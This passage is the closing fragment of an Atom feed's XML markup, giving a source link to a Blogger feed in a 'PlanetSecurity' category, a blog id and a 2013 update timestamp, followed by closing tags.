			<link rel="self" href="http://nicerosniunos.blogspot.com/feeds/posts/default/-/PlanetSecurity/"/>
			<id>tag:blogger.com,1999:blog-7743819158194184549</id>
			<updated>2013-06-10T16:17:04+00:00</updated>
		</source>
	</entry>

</feed>
